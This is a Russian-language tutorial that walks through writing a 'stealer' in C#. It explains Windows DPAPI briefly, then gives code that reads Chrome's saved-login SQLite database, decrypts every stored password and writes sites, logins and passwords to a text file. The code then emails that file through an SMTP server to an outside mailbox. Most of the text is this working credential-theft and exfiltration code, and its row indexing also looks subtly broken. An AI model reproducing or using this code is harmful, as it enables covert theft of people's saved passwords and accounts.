Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.

Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:

SID — уникальный идентификатор безопасности.

HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).

PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.

MasterKey BLOB — это как раз данные с зашифрованным ключом.

Подробнее почитать тут https://habrahabr.ru/post/148602/

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.

Давайте напишем такой стиллер.

Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:

string fileDb = @"C:/Users/Adminka/AppData/Local/Google/Chrome/User Data/Default/Login Data"; // Путь к логин данным

string connectionString = $"Data Source = {fileDb}";

string fileName = @"C:/Temp/output.txt"; // Выходной файл с паролями

StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);

string dbWay = "Login Data";

string db_fields = "logins"; // база паролей SQLITE

byte[] entropy = null;

string description;

DataTable db = new DataTable();

string sql = $"SELECT * FROM {db_fields}";

using (SQLiteConnection connection = new SQLiteConnection(connectionString))

{

SQLiteCommand command = new SQLiteCommand(sql, connection);

SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);

adapter.Fill(db);

}

int rows = db.Rows.Count;

Console.WriteLine($"Всего записей: {rows}");

for (int i = 0; i < rows; i++)

{

string url = db.Rows[1].ToString();

string login = db.Rows[3].ToString();

byte[] byteArray = (byte[])db.Rows[5];

byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);

string password = new UTF8Encoding(true).GetString(decrypted);

sw.WriteLine("----------------------------");

sw.WriteLine($"Номер: {i}");

sw.WriteLine($"Сайт: {url}");

sw.WriteLine($"Логин: {login}");

sw.WriteLine($"Пароль: {password}");

}

sw.Close();

MailSend.SendMail("smtp.mail.ru", "YourEmail@mail.ru", "password", "YandexMail3@ya.ru", "Пароли", fileName, fileName);

Console.ReadKey();

Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx